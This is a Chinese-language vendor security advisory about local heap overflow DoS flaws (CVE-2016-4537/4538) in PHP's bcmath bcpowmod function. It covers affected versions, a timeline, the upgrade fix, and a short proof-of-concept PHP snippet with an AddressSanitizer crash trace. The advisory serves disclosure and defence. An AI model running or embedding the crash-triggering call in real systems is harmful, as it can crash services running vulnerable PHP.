PHP DoS漏洞再现 虽然利用难度较高 绿盟科技发出分析和防护方案

www.securityfocus.com 网站发出公告称,PHP中用于二进制计算的模块“bcmath.c”存在多个本地堆溢出漏洞,该漏洞有可能导致 DoS攻击。漏洞CVE编号分别为:CVE-2016-4537和CVE-2016-4538。绿盟科技将此漏洞级别定为 中,意味着影响范围可控,危害程度可控,利用难度较高。

PHP bcmath.c 漏洞危害及影响

CVE-2016-4537漏洞存在于ext/bcmath/bcmath.c库中的bcpowmod函数中,攻击者可以在远程调用该函数的时候故意传入一个负整数参数,从而导致拒绝服务或者其他尚未明确的影响。

CVE-2016-4538漏洞存在于ext/bcmath/bcmath.c库中的bcpowmod函数中,该函数在对特定数据结构做修改的时候未对相应变量进行校验,可以导致攻击者使用精心构造的代码实施拒绝服务攻击或者其他尚未明确的影响。

但绿盟科技安全团队表示

因为漏洞为本地漏洞,不能远程利用,同时不是所有的PHP在编译的时候包含此模块,也不是所有的网站都会用到。

影响的版本

  • PHP版本 < 5.5.35
  • PHP版本 5.6.x < 5.6.21
  • PHP版本 7.x < 7.0.6

不受影响的版本

  • PHP版本 >= 5.5.35
  • PHP版本 5.6.x >= 5.6.21
  • PHP版本 7.x >= 7.0.6

PHP bcmath.c 漏洞发展情况

  1. 2016年4月24日,NULL-LIFE团队的Fernando向PHP官方提交了 PHP“bcmath.c”库中的本地堆溢出漏洞 。具体地址如下:
  2. 2016年4月25日, 官方进行了代码修复 
  3. 2016年8月18日,官方发布了修复漏洞后的最新版本。
  4. 2016年9月9日,绿盟科技安全团队发现www.securityfocus.com 网站对PHP“bcmath.c”多个本地堆溢出漏洞做了更新,其中涉及到的CVE编号分别为:CVE-2016-4537和CVE-2016-4538。

PHP bcmath.c 漏洞防护方案

  • 如果所使用的PHP为受影响的版本,请尽快升级到不受影响的PHP版本。 官方升级地址
  • 使用绿盟科技的远程评估系统(RSAS)对系统进行安全评估。
  • 短期服务:绿盟科技工程师现场处理。确保第一时间消除网络内相关风险点,控制事件影响范围,提供事件分析报告。
  • 中期服务:提供 3-6个月的风险监控与巡检服务。根除风险,确保事件不复发。
  • 长期服务:基于行业业务风险解决方案(威胁情报+攻击溯源+专业安全服务)

PHP bcmath.c是什么

为PHP提供的任意精度数学二进制计算器,该计算器支持的任何大小和精度的数字计算,表示为字符串。

bc是Binary Calculator的缩写。bc*函数的参数都是操作数加上一个可选的 [int scale],比如string bcadd(string $left_operand, string $right_operand[, int $scale]),如果scale没有提供,就用bcscale的缺省值。这里大数直接用一个由0-9组成的string表示,计算结果返回的也是一个 string。

PHP bcmath.c漏洞分析

漏洞的成因是由于文件ext/bcmath/bcmath.c中的bcpowmod函数在接受参数时没有做准确的参数校验,当向参数scale传入一个负数时,有可能造成拒绝服务或者其他未明确的影响。

造成此漏洞的函数是bcpowmod,其声明如下:

该函数的作用是求幂取模,例如下面代码,功能是对x求y次幂,然后求mod的模。

<?php 
$a = bcpowmod($x, $y, $mod); 
?>

第4个参数scale是一个可选参数,当前面参数有小数时,用于指定小数点之后要显示的位数。然而当scale传入的是负数时,可能造成堆溢出引发拒绝服务。

下面是该漏洞的POC:

<?php 
bcpowmod(1, "A", 128, -200);   // 造成堆溢出 
bcpowmod(1, 1.2, 1, 1);    // 后续再次调用此函数时,由于堆结构已被破坏,造成程序崩溃 
?>

程序崩溃时的调用堆栈如下:

AddressSanitizer: heap-buffer-overflow on address 0xb3805f68 at pc 0x083fd271 bp 0xbf91e4d8 sp 0xbf91e4c8 
READ of size 1 at 0xb3805f68 thread T0 
#0 0x83fd270 in bc_divide /home/fmunozs/phpgit/php56/ext/bcmath/libbcmath/src/div.c:122 
#1 0x83fff96 in bc_raisemod /home/fmunozs/phpgit/php56/ext/bcmath/libbcmath/src/raisemod.c:69 
#2 0x83f9923 in zif_bcpowmod /home/fmunozs/phpgit/php56/ext/bcmath/bcmath.c:426 
#3 0x9a7c718 in zend_do_fcall_common_helper_SPEC /home/fmunozs/phpgit/php56/Zend/zend_vm_execute.h:558 
#4 0x9640316 in execute_ex /home/fmunozs/phpgit/php56/Zend/zend_vm_execute.h:363 
#5 0x9a6c9c8 in zend_execute /home/fmunozs/phpgit/php56/Zend/zend_vm_execute.h:388 
#6 0x9470b59 in zend_execute_scripts /home/fmunozs/phpgit/php56/Zend/zend.c:1341 
#7 0x91acc6b in php_execute_script /home/fmunozs/phpgit/php56/main/main.c:2613 
#8 0x9a8648a in do_cli /home/fmunozs/phpgit/php56/sapi/cli/php_cli.c:994 
#9 0x808a502 in main /home/fmunozs/phpgit/php56/sapi/cli/php_cli.c:1378 
#10 0xb6dbe645 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18645) 
#11 0x808aaba  (/home/fmunozs/phpgit/php56/sapi/cli/php+0x808aaba)

AddressSanitizer: heap-buffer-overflow /home/fmunozs/phpgit/php56/ext/bcmath/libbcmath/src/div.c:122 bc_divide 
Shadow bytes around the buggy address: 
0x36700b90: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa 
0x36700ba0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa 
0x36700bb0: fa fa fd fa fa fa 00 00 fa fa fd fa fa fa fd fa 
0x36700bc0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa 
0x36700bd0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa 
=> 0x36700be0: fa fa fd fa fa fa fd fa fa fa fd fa fa[fa]fd fa 
0x36700bf0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa 
0x36700c00: fa fa 01 fa fa fa 01 fa fa fa 01 fa fa fa 00 06 
0x36700c10: fa fa 00 03 fa fa 00 05 fa fa 00 06 fa fa 00 07 
0x36700c20: fa fa 00 00 fa fa 00 07 fa fa 00 00 fa fa 00 05 
0x36700c30: fa fa 00 07 fa fa 00 07 fa fa 00 00 fa fa 00 00

PHP官方对此漏洞的修复如下,在ext/bcmath/bcmath.c文件中引入了一个新的校验函数split_bc_num,并在bcpowmod函数中通过split_bc_num加强了对scale参数的校验。

绿盟科技威胁预警认为该漏洞较难利用

中级:影响范围可控,危害程度可控,利用难度较高,7*8小时内部应急跟踪,72小时内完成技术分析、产品升级和防护方案。

绿盟科技威胁事件定级标准


级别


描述



影响范围比较广,危害严重,利用难度较低,7*24小时内部应急跟踪,24小时内完成技术分析、产品升级和防护方案。



影响范围可控,危害程度可控,利用难度较高,7*8小时内部应急跟踪,72小时内完成技术分析、产品升级和防护方案。



影响较小,危害程度较小。

声 明

本安全公告仅用来描述可能存在的安全问题,绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,绿盟科技以及安全公告作者不为此承担任何责任。绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告,必须保证此安全公告的完整性,包括版权声明等全部内容。未经绿盟科技允许,不得任意修改或者增减此安全公告内容,不得以任何方式将其用于商业目的。

原文发布时间:2017年3月24日

本文由:绿盟科技 发布,版权归属于原作者

原文链接:http://toutiao.secjia.com/php-ddos-vulnerability-cve-2016-4537-4538#

时间: 2024-11-01 10:08:21

PHP DoS漏洞再现 虽然利用难度较高 绿盟科技发出分析和防护方案的相关文章

Struts2远程代码执行漏洞CVE-2017-9805 s2-052 绿盟科技发布分析和防护方案

5日晚, Struts2远程代码执行漏洞CVE-2017-9805(s2-052),绿盟科技发布扫描工具 ,今天绿盟科技发布了<Struts2 s2-052 REST插件远程代码执行技术分析与防护方案>,报告全文如下 Struts2 s2-052 REST插件远程代码执行技术分析与防护方案 2017年9月5日,Apache Struts发布最新的安全公告,Apache Struts 2.5.x以及之前的部分2.x版本的REST插件存在远程代码执行的高危漏洞,漏洞编号为CVE-2017-9805

Apache Struts2远程代码执行漏洞S2-048 CVE-2017-9791 分析和防护方案

今天,Apache Struts官方发布公告,漏洞编号为S2-048 CVE-2017-9791,公告称Struts2和Struts1中的一个Showcase插件可能导致远程代码执行,并评价为高危漏洞. 绿盟科技发布分析和防护方案,其中开放了在线检测工具 https://cloud.nsfocus.com/#/krosa/views/initcdr/productandservice?page_id=12 通告全文如下 Apache Struts2远程代码执行漏洞S2-048 CVE-2017-

绿盟科技发布ISC BIND 9 DoS漏洞技术分析与防护方案

高危漏洞通告 BIND最新漏洞将导致DoS攻击 绿盟科技发布预警通告 之后,绿盟科技发布技术分析与防护方案.全文如下: ISC互联网系统协会(Internet Systems Consortium)官网发布了一个安全通告,公布了编号为CVE-2016-2776的漏洞及其修复情况.该漏洞位于文件buffer.c中,当程序在为精心构造的查询请求构建响应包时会遇到断言失败,导致程序崩溃,从而造成拒绝服务.详情请见如下链接:https://kb.isc.org/article/AA-01419 什么是B

BIND9 DoS漏洞CVE-2016-8864 绿盟科技发布技术分析与防护方案 北京有1435台设备受影响

ISC发布BIND9 DoS漏洞CVE-2016-8864,该漏洞出现在db.c 或 resolver.c 模块中,可能导致处理递归请求过程中出现问题,最终导致服务器停止响应.绿盟科技随即发布技术分析与防护方案. 通告全文如下 2016年11月1日(当地时间),ISC互联网系统协会(Internet Systems Consortium)官网发布了一个关于BIND 9项目的安全公告,公布了编号为CVE-2016-8864的漏洞.BIND 9服务器在处理包含DNAME记录的递归查询响应时,会在re

数据库缓存系统Memcached出现高危漏洞 绿盟科技发布检测工具、分析及防护方案

2016年10月31日(当地时间),思科Talos团队在其 官网上 公布了三个Memcached服务器的整数溢出漏洞.绿盟科技随即发布威胁预警通告,通告将该漏洞定义为高级,这意味着影响范围比较广,危害严重,利用难度较低,绿盟科技将实施7*24小时内部应急跟踪,24小时内完成技术分析.产品升级和防护方案. Update:绿盟科技已经更新此文档,Memcached漏洞分析及防护方案如下: 2016年10月31日(当地时间),思科Talos团队在其官网 http://www.talosintellig

最新Firefox 0day远程执行代码漏洞CVE-2016-9079 绿盟科技发布技术分析与防护方案

火狐浏览器上暴露出一个 JavaScript 0Day漏洞CVE-2016-9079,而且已经被用于攻击 Tor 用户.据绿盟科技预警通告称,"该漏洞是一个存在于SVG Animation模块中的释放后重用(UAF)漏洞,当用户使用Firefox浏览包含恶意Javascript和SVG代码的页面时,会允许攻击者在用户的机器上远程执行代码.受该漏洞影响的平台包括Windows,Mac OS以及Linux" 技术分析与防护方案全文见文末. 这个漏洞利用程序据说包含一个HTML文件和一个CS

针对OpenSSL 922乌龙事件的回应 绿盟科技给出OpenSSL最新漏洞分析及防护方案

近日,OpenSSL针对22日爆出的 CVE-2016-6304漏洞 发布了补丁,补丁又带来了 新的漏洞CVE-2016-6309 和CVE-2016-7052 ,官方 随即再次发布公告 给出更新补丁,1.1.0a版本升级到1.1.0b,正在使用1.0.2i版本升级到1.0.2j,绿盟科技也再次给出新漏洞的分析及防护方案-- OpenSSL最新漏洞信息 CVE-2016-6309 提交时间:2016年9月23日 漏洞描述:当系统收到超过大约16K大小的消息时,准备接受该消息的缓冲区会在其他地方重

struts2 漏洞分析与防护方案 CVE-2017-5638 S2-045 除了升级外还是有修复方案的

昨天安全加报道了 Struts 2再爆高危漏洞CVE-2017-5638 绿盟科技发布免费扫描工具及产品升级包 ,今天绿盟科技又发布了分析和防护方案 Apache Struts2的Jakarta Multipart parser插件存在远程代码执行漏洞,漏洞编号为CNNVD-201703-152.攻击者可以在使用该插件上传文件时,修改HTTP请求头中的Content-Type值来触发该漏洞,导致远程执行代码. 相关链接如下: https://cwiki.apache.org/confluence

绿盟科技发布OpenSSL高危漏洞技术分析与防护方案 G20成员国美国、中国、德国受影响较大

近日,OpenSSL官方发布了版本更新,修复了多个OpenSSL漏洞,这次更新所修复的漏洞中,有两个危害等级较高的为CVE-2016-6304和CVE-2016-6305.绿盟科技对此漏洞进行了技术分析并提出了防护方案. 自2014年4月心脏滴血漏洞爆发以来,绿盟科技对OpenSSL的CVE漏洞进行密切的监控,据绿盟科技威胁情报中心(NTI)统计到的数据显示,2年来OpenSSL漏洞变化不大总体持平,总计高危漏洞13个,其中今年9月份3个高危漏洞.绿盟科技漏洞库迄今为止收录了82个重要漏洞. O